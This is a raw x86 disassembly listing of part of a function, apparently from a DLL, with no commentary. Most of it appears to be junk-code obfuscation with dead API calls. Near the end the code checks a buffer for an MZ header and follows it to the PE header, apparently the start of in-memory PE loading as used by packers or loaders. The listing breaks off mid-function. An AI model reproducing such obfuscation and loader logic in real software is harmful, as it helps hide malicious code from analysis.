imul esi, dword [eax]
mov eax, dword [ebp - 0x61c]
sub eax, esi
cmp eax, 0x25ec
jg 0x1001d387
mov dword [ebp - 0x86c], 1
jmp 0x1001d38e
and dword [ebp - 0x86c], 0
cmp dword [ebp - 0x86c], 0x1d0b6bd0
jle 0x1001d3a6
mov dword [ebp - 0x624], 1
jmp 0x1001d3ad
and dword [ebp - 0x624], 0
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x624]
cmp ecx, dword [eax]
jge 0x1001d3d0
mov dword [ebp - 0x7ac], 1
jmp 0x1001d3d7
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x7ac]
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x9f4], 0x6d9935ff
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3e8]
call fcn.1000c0b1
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x200]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x1001d74a
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x190], 0xfffffffe
mov dword [ebp - 0x44], 0
jmp 0x1001d438
cmp dword [ebp - 0x44], 0xfffffff4
jg 0x1001d511
push 3
lea ecx, [ebp - 0xc1c]
call fcn.1000c02f
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x9fc], 9
mov dword [ebp - 0x2b0], 0
jmp 0x1001d479
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 3
jge 0x1001d49b
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0xc1c]
call fcn.1000c0cd
mov dword [eax], 1
jmp 0x1001d46c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xd00], eax
imul eax, dword [ebp - 0x44], 0xffff
test eax, eax
jne 0x1001d4bc
push 0
lea ecx, [ebp - 0xc1c]
call fcn.1000c0cd
cmp dword [ebp - 0x44], 1
jae 0x1001d4ce
mov dword [ebp - 0x62c], 1
jmp 0x1001d4d5
and dword [ebp - 0x62c], 0
cmp dword [ebp - 0x62c], 0xffffffff
jle 0x1001d4ea
mov dword [ebp - 0xa58], 1
jmp 0x1001d4f1
and dword [ebp - 0xa58], 0
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0x190], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc1c]
call fcn.1000c0b1
jmp 0x1001d431
mov dword [ebp - 0x190], 0
jmp 0x1001d52a
mov eax, dword [ebp - 0x190]
dec eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0xffffffe9
jl 0x1001d569
mov dword [ebp - 0x44], 0x14
jmp 0x1001d543
cmp dword [ebp - 0x44], 0xffffffed
jge 0x1001d567
mov byte [ebp - 0xd0], 0
movzx eax, byte [ebp - 0xd0]
test eax, eax
je 0x1001d565
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x1001d53c
jmp 0x1001d51d
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x200]
inc eax
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0xa60], 6
mov dword [ebp - 0x644], 0x716b5b38
mov dword [ebp - 0x300], 0
jmp 0x1001d5bc
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 2
jge 0x1001d5d8
mov eax, dword [ebp - 0x300]
mov dword [ebp + eax*4 - 0x340], 0x2971
jmp 0x1001d5af
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x340]
imul ecx, dword [ebp + eax - 0x340]
mov dword [ebp - 0x92c], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x340]
cmp eax, dword [ebp - 0x92c]
jl 0x1001d61a
mov dword [ebp - 0x634], 1
jmp 0x1001d621
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x634], eax
jl 0x1001d648
mov dword [ebp - 0x118], 1
mov dword [ebp - 0x120], 8
mov dword [ebp - 0xa68], 1
mov dword [ebp - 0xd28], 0xb950
mov dword [ebp - 0x2b8], 0
jmp 0x1001d78b
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 3
jge 0x1001d7a7
mov eax, dword [ebp - 0x2b8]
mov dword [ebp + eax*4 - 0xee8], 0x99244325
jmp 0x1001d77e
mov eax, dword [ebp - 0x118]
imul eax, dword [ebp - 0x118]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x120], 2
jmp 0x1001d7d3
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jl 0x1001d815
mov dword [ebp - 0x118], 0
jmp 0x1001d7f5
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 2
jg 0x1001d813
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp + eax*4 - 0xee8]
mov dword [ebp - 0xa68], eax
jmp 0x1001d7e8
jmp 0x1001d7c6
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x328]
movzx eax, byte [ebp + eax - 0x202]
movsx eax, byte [ebp + eax - 0xb4c]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x1ff]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x328]
movzx eax, byte [ebp + eax - 0x202]
movsx eax, byte [ebp + eax - 0xb4c]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x1ff]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x200]
mov byte [ebp + eax - 0xb4c], dl
and dword [ebp - 0x328], 0
jmp 0x1001d15b
mov dword [ebp - 0x80], 0x7bc75286
mov dword [ebp - 0x69c], 0xffbe5849
mov dword [ebp - 0x37c], 0x667f5aee
mov dword [ebp - 0x374], 9
mov dword [ebp - 0x3cc], 0xffffffff
mov dword [ebp - 0xd30], 0xffffffff
mov dword [ebp - 0x2c8], 0x12c005d9
mov dword [ebp - 0x18c], 0x6a6d983a
mov dword [ebp - 0x8dc], 0xfffffff9
mov dword [ebp - 0x7ec], 0xfffffffa
mov dword [ebp - 0x2c0], 0
jmp 0x1001d8fb
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 3
jge 0x1001d917
mov eax, dword [ebp - 0x2c0]
mov dword [ebp + eax*4 - 0xc88], 0x1791
jmp 0x1001d8ee
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x80]
jl 0x1001d92b
mov dword [ebp - 0x7bc], 1
jmp 0x1001d932
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x80]
sub eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x7bc]
jne 0x1001d94c
mov dword [ebp - 0x64c], 1
jmp 0x1001d953
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x80]
dec eax
cmp eax, dword [ebp - 0x64c]
jle 0x1001d984
mov dword [ebp - 0xa14], 1
mov dword [ebp - 0xa70], 0x95751cfd
mov eax, dword [ebp - 0xa14]
mov dword [ebp - 0xa70], eax
jmp 0x1001dc8d
mov dword [ebp - 0xb14], 0x9ab5c294
mov dword [ebp - 0xd38], 8
mov dword [ebp - 0xa24], 0xffffffff
mov dword [ebp - 0xa78], 0
mov dword [ebp - 0x3b4], 0x3f4b1415
mov dword [ebp - 0x308], 0
jmp 0x1001d9cf
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 4
jge 0x1001d9eb
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0xeb8], 0
jmp 0x1001d9c2
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x8d4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x8d4]
mov dword [ebp + eax - 0xeb8], ecx
cmp dword [ebp - 0x8d4], 0
je 0x1001da1b
mov dword [ebp - 0x654], 1
jmp 0x1001da22
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x654], eax
je 0x1001da39
mov dword [ebp - 0x7c4], 1
jmp 0x1001da40
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x7c4]
neg ecx
mov edx, dword [ebp - 0x2c8]
inc edx
mov dword [ebp - 0x2c8], edx
cmp ecx, eax
jne 0x1001dbbf
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xeb8], 0
jle 0x1001da7e
mov dword [ebp - 0x65c], 1
jmp 0x1001da85
and dword [ebp - 0x65c], 0
cmp dword [ebp - 0x65c], 0xa955
jne 0x1001da9d
mov dword [ebp - 0x87c], 1
jmp 0x1001daa4
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x87c]
sub eax, dword [ebp - 0xa78]
je 0x1001dabe
mov dword [ebp - 0x664], 1
jmp 0x1001dac5
and dword [ebp - 0x664], 0
cmp dword [ebp - 0x664], 0xffffffff
je 0x1001dada
mov dword [ebp - 0x7cc], 1
jmp 0x1001dae1
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0xb14]
cmp dword [ebp - 0x7cc], eax
jne 0x1001dafb
mov dword [ebp - 0x66c], 1
jmp 0x1001db02
and dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x66c]
neg eax
add eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0xa24]
je 0x1001db27
cmp dword [ebp - 0x37c], 0
jne 0x1001db27
and dword [ebp - 0x90c], 0
jmp 0x1001db31
mov dword [ebp - 0x90c], 1
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x90c], eax
jle 0x1001db4b
mov dword [ebp - 0x674], 1
jmp 0x1001db52
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x2c8]
cmp dword [ebp - 0x674], eax
je 0x1001db6c
mov dword [ebp - 0x7d4], 1
jmp 0x1001db73
and dword [ebp - 0x7d4], 0
cmp dword [ebp - 0x7d4], 1
jne 0x1001db88
mov dword [ebp - 0x67c], 1
jmp 0x1001db8f
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 0x6845
je 0x1001dba7
cmp dword [ebp - 0x3b4], 0
je 0x1001dbd8
xor eax, eax
je 0x1001dbd8
mov dword [ebp - 0x684], 1
jmp 0x1001dbdf
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x8dc]
cmp dword [ebp - 0x684], eax
jle 0x1001dbf9
mov dword [ebp - 0x7dc], 1
jmp 0x1001dc00
and dword [ebp - 0x7dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc88]
add eax, dword [ebp - 0x7dc]
jne 0x1001dc23
or eax, 0xffffffff
jne 0x1001dc23
and dword [ebp - 0x68c], 0
jmp 0x1001dc2d
mov dword [ebp - 0x68c], 1
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x3cc], eax
mov dword [ebp - 0x18c], 0x13
jmp 0x1001dc5e
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x33
jl 0x1001dc8d
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x1001dc8b
push 0xc6b
push 0
push 0x1178
call dword [sym.imp.GDI32.dll_Polyline]
jmp 0x1001dc51
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc88], 0
je 0x1001dca8
mov eax, dword [ebp - 0x3cc]
cmp eax, dword [ebp - 0x80]
jle 0x1001dcba
cmp dword [ebp - 0x8dc], 0
jne 0x1001dcba
and dword [ebp - 0x694], 0
jmp 0x1001dcc4
mov dword [ebp - 0x694], 1
mov dword [ebp - 0x374], 0xffff
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x694], eax
jne 0x1001dce8
mov dword [ebp - 0x7e4], 1
jmp 0x1001dcef
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x69c], eax
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xd40], eax
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0xd48], eax
cmp dword [ebp - 0x7ec], 0xfffffff7
jne 0x1001dd28
mov dword [ebp - 0x88c], 1
jmp 0x1001dd2f
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x37c]
cmp dword [ebp - 0x88c], eax
je 0x1001dd49
mov eax, dword [0x1060c918]
cmp eax, dword [ebp - 0x27c]
je 0x1001e2c8
mov eax, dword [0x1066f280]
cmp eax, dword [ebp - 0x27c]
jne 0x1001e5a5
push 4
lea ecx, [ebp - 0x400]
call fcn.1000c02f
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x4c8], 0xfffffffa
mov dword [ebp - 0x4a0], 0xca3eaa3e
mov dword [ebp - 0x4a8], 0x77e06985
mov dword [ebp - 0x318], 0
jmp 0x1001e31a
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 4
jge 0x1001e33c
push dword [ebp - 0x318]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
mov dword [eax], 7
jmp 0x1001e30d
mov dword [ebp - 0x2c], 3
jmp 0x1001e34c
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jl 0x1001e57e
mov dword [ebp - 0x4b0], 5
mov dword [ebp - 0xa44], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
cmp dword [eax], 1
jne 0x1001e389
mov dword [ebp - 0x804], 1
jmp 0x1001e390
and dword [ebp - 0x804], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
mov esi, dword [ebp - 0x804]
sub esi, dword [eax]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
cmp esi, dword [eax]
jge 0x1001e3c4
mov dword [ebp - 0x6dc], 1
jmp 0x1001e3cb
and dword [ebp - 0x6dc], 0
cmp dword [ebp - 0x6dc], 0xaf06
je 0x1001e3e3
mov dword [ebp - 0x89c], 1
jmp 0x1001e3ea
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x89c]
lea esi, [ecx + eax - 0x8906]
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
sub esi, dword [eax]
cmp esi, 6
je 0x1001e41b
mov dword [ebp - 0x6e4], 1
jmp 0x1001e422
and dword [ebp - 0x6e4], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x6e4]
cmp ecx, dword [eax]
jne 0x1001e446
mov dword [ebp - 0x80c], 1
jmp 0x1001e44d
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x80c]
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
je 0x1001e48f
mov eax, 0x7497
test eax, eax
je 0x1001e48f
mov dword [ebp - 0x4b8], 1
jmp 0x1001e496
and dword [ebp - 0x4b8], 0
cmp dword [ebp - 0x4b8], 1
je 0x1001e4ab
mov dword [ebp - 0x4c0], 1
jmp 0x1001e4b2
and dword [ebp - 0x4c0], 0
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x4c0]
cmp ecx, dword [eax]
jg 0x1001e4d6
mov dword [ebp - 0x4d0], 1
jmp 0x1001e4dd
and dword [ebp - 0x4d0], 0
mov dword [ebp - 0x4c8], 1
mov eax, dword [ebp - 0x4c8]
cmp eax, dword [ebp - 0x4d0]
jge 0x1001e507
mov eax, 0x25004
test eax, eax
jne 0x1001e507
and dword [ebp - 0x4d8], 0
jmp 0x1001e511
mov dword [ebp - 0x4d8], 1
push 0
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [eax]
jne 0x1001e534
mov dword [ebp - 0xb38], 1
jmp 0x1001e53b
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xcf8], eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x400]
call fcn.1000c0cd
cmp dword [eax], 0x169
jle 0x1001e566
mov dword [ebp - 0x4e0], 1
jmp 0x1001e56d
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0xa44], eax
jmp 0x1001e345
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x400]
call fcn.1000c0b1
mov ecx, dword [ebp + 0xc]
call fcn.1000befa
push eax
push dword [ebp + 8]
call fcn.10014989
pop ecx
pop ecx
jmp 0x10020cfa
mov dword [ebp - 0xd58], 0x6318
mov dword [ebp - 0xd64], 6
mov dword [ebp - 0xd70], 0x647dc4b4
mov dword [ebp - 0xda8], 0xe90a624c
mov dword [ebp - 0xdb0], 0
push 1
lea ecx, [ebp - 0xe10]
call fcn.1000c02f
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x64], 0
jmp 0x1001e605
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x1001e61b
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xf74], 0x921d
jmp 0x1001e5fe
mov dword [ebp - 0x64], 0
jmp 0x1001e62b
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x1001e647
push dword [ebp - 0x64]
lea ecx, [ebp - 0xe10]
call fcn.1000c0cd
mov dword [eax], 0x950707df
jmp 0x1001e624
mov eax, dword [ebp - 0x4e8]
dec eax
mov dword [ebp - 0x4e8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe10]
call fcn.1000c0b1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x14], 0xfffa
mov dword [ebp - 0x3c], 0xbfb66feb
mov dword [ebp - 0x3dc], 0xefcdf11b
mov dword [ebp - 0x508], 0xac3d6c1d
mov dword [ebp - 0x2e8], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xdb8], eax
cmp dword [ebp - 0x14], 0xdd78f4f8
jae 0x1001e6b6
mov dword [ebp - 0x4f0], 1
jmp 0x1001e6bd
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jg 0x1001e6dd
mov dword [ebp - 0x4f8], 1
jmp 0x1001e6e4
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x4f8]
cmp eax, dword [ebp - 0x14]
jge 0x1001e6fe
mov dword [ebp - 0x500], 1
jmp 0x1001e705
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0xbe85
jne 0x1001e735
mov dword [ebp - 0x510], 1
jmp 0x1001e73c
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x510], eax
je 0x1001e753
mov dword [ebp - 0x518], 1
jmp 0x1001e75a
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x518], eax
jge 0x1001e771
mov dword [ebp - 0x520], 1
jmp 0x1001e778
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x520]
sub eax, dword [ebp - 0x14]
jne 0x1001e796
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x1001e796
mov dword [ebp - 0x528], 1
jmp 0x1001e79d
and dword [ebp - 0x528], 0
cmp dword [ebp - 0x528], 0xfffffffb
jle 0x1001e7b2
mov dword [ebp - 0x530], 1
jmp 0x1001e7b9
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x530]
imul eax, eax, 0xfffa
cmp eax, dword [ebp - 0x2e8]
jl 0x1001e7dc
mov dword [ebp - 0x538], 1
jmp 0x1001e7e3
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0xdc0], eax
cmp dword [ebp - 0x14], 0
jne 0x1001e824
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe48], eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
jne 0x1001e824
and dword [ebp - 0x540], 0
jmp 0x1001e82e
mov dword [ebp - 0x540], 1
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x3dc]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
je 0x1001ea5e
mov dword [ebp - 0x550], 4
push 2
lea ecx, [ebp - 0xc58]
call fcn.1000c02f
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x548], 0x5bc1
mov dword [ebp - 0xacc], 0x10007b50
cmp dword [ebp - 0x548], 0x5de3
jle 0x1001e941
push 0
call dword [sym.imp.USER32.dll_CharNextW]
and dword [ebp - 0x344], 0
jmp 0x1001e8ac
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x6278
jge 0x1001e941
and dword [ebp - 0x28c], 0
jmp 0x1001e8d2
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x18e2
jge 0x1001e93c
and dword [ebp - 0x294], 0
jmp 0x1001e8f4
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0x4021
jge 0x1001e93a
mov eax, dword [ebp - 0x344]
cdq
idiv dword [ebp - 0x28c]
sub edx, dword [ebp - 0x294]
mov eax, edx
cdq
mov dword [ebp - 0xa04], eax
mov dword [ebp - 0xa00], edx
push dword [ebp - 0xa00]
push dword [ebp - 0xa04]
mov ecx, 0x1060b7d8
call fcn.1000bf1a
jmp 0x1001e8e7
jmp 0x1001e8c5
jmp 0x1001e89f
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x548], 0x590e
jge 0x1001e961
mov edx, dword [ebp - 0xacc]
mov ecx, 0x1060b7d8
call fcn.1000dba3
jmp 0x1001e97d
mov dword [ebp - 4], 0x22
jmp 0x1001e98d
mov dword [ebp - 0x29c], 0
jmp 0x1001e9a6
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 2
jge 0x1001e9c8
push dword [ebp - 0x29c]
lea ecx, [ebp - 0xc58]
call fcn.1000c0cd
mov dword [eax], 0x255b
jmp 0x1001e999
mov dword [ebp - 0x3c], 8
jmp 0x1001e9d8
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x11
jge 0x1001ea02
mov dword [ebp - 0xa4c], 0
cmp dword [ebp - 0xa4c], 0
je 0x1001e9f3
jmp 0x1001ea02
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
jmp 0x1001e9d1
mov dword [ebp - 0x14], 0
jmp 0x1001ea12
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jg 0x1001ea4d
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc58]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001ea2d
jmp 0x1001ea4d
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x1001ea4b
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x1001ea0b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc58]
call fcn.1000c0b1
jmp 0x1001ea7e
mov dword [ebp - 0xb20], 0x8fbdedbe
mov dword [ebp - 0xa54], 0xa932da3b
mov eax, dword [ebp - 0xb20]
mov dword [ebp - 0xa54], eax
cmp dword [ebp - 0x20c], 0
je 0x10020cf8
mov eax, dword [ebp - 0x20c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10020cf8
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x570], 0
mov dword [ebp - 0x168], 0x1b
jmp 0x1001eacc
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jle 0x1001ed31
push 1
lea ecx, [ebp - 0x918]
call fcn.1000c02f
mov dword [ebp - 4], 0x25
mov dword [ebp - 0xad4], 0x1f7d9671
mov dword [ebp - 0xa5c], 0x84edc022
mov dword [ebp - 0x208], 0
jmp 0x1001eb1a
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 1
jge 0x1001eb3c
push dword [ebp - 0x208]
lea ecx, [ebp - 0x918]
call fcn.1000c0cd
mov dword [eax], 0xaa9ac70c
jmp 0x1001eb0d
push 0
lea ecx, [ebp - 0x918]
call fcn.1000c0cd
and dword [eax], 0
jmp 0x1001eb72
push 0
lea ecx, [ebp - 0x918]
call fcn.1000c0cd
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x558]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x918]
call fcn.1000c0cd
cmp dword [eax], 0xd
jge 0x1001ed1d
push 3
lea ecx, [ebp - 0xc4c]
call fcn.1000c02f
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x560], 0xbc657e3b
mov dword [ebp - 0x88], 0
jmp 0x1001ebbc
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x1001ebde
push dword [ebp - 0x88]
lea ecx, [ebp - 0xc4c]
call fcn.1000c0cd
mov dword [eax], 1
jmp 0x1001ebaf
mov dword [ebp - 0x88], 0
jmp 0x1001ebf7
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x1001ec13
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xda0], 0xfffb
jmp 0x1001ebea
push 2
lea ecx, [ebp - 0xc4c]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001ecf6
xor eax, eax
inc eax
je 0x1001ecf6
push 0
lea ecx, [ebp - 0x918]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1001ecb9
push 0
lea ecx, [ebp - 0x918]
call fcn.1000c0cd
mov esi, eax
push 0
lea ecx, [ebp - 0x918]
call fcn.1000c0cd
mov eax, dword [eax]
cmp eax, dword [esi]
je 0x1001ec72
mov dword [ebp - 0x568], 1
jmp 0x1001ec79
and dword [ebp - 0x568], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xda0]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x560]
add eax, dword [ebp - 0x568]
add eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0x570]
dec eax
cmp eax, dword [ebp - 0x570]
jg 0x1001ecb9
mov dword [ebp - 0x578], 1
jmp 0x1001ecc0
and dword [ebp - 0x578], 0
cmp dword [ebp - 0x578], 0xfffffffe
jae 0x1001ecd5
mov dword [ebp - 0x580], 1
jmp 0x1001ecdc
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0xad4]
cmp dword [ebp - 0x580], eax
jl 0x1001ecf6
mov dword [ebp - 0x588], 1
jmp 0x1001ecfd
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0xa5c], eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xc4c]
call fcn.1000c0b1
jmp 0x1001eb4e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x918]
call fcn.1000c0b1
jmp 0x1001eabf
mov byte [ebp - 0xcb], 0
movzx eax, byte [ebp - 0xcb]
test eax, eax
je 0x1001ed73
push 0
push 0xe3b
push 0x1ed7
push 0x198b
push 0x168b
push 0x2a9
push 0x10eb
push 0x262b
push 0x1b55
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [ebp - 0x20c]
mov ecx, dword [ebp - 0x20c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x188], ecx
mov dword [ebp - 0x170], 0xfffffff9
mov dword [ebp - 0x5a8], 0x3f6085e0
mov dword [ebp - 0xa64], 0x1a05132d
mov dword [ebp - 0x170], 0xfffffffe
jmp 0x1001edbf
mov eax, dword [ebp - 0x170]
dec eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xfffffffc
jle 0x1001ef55
push 1
lea ecx, [ebp - 0x954]
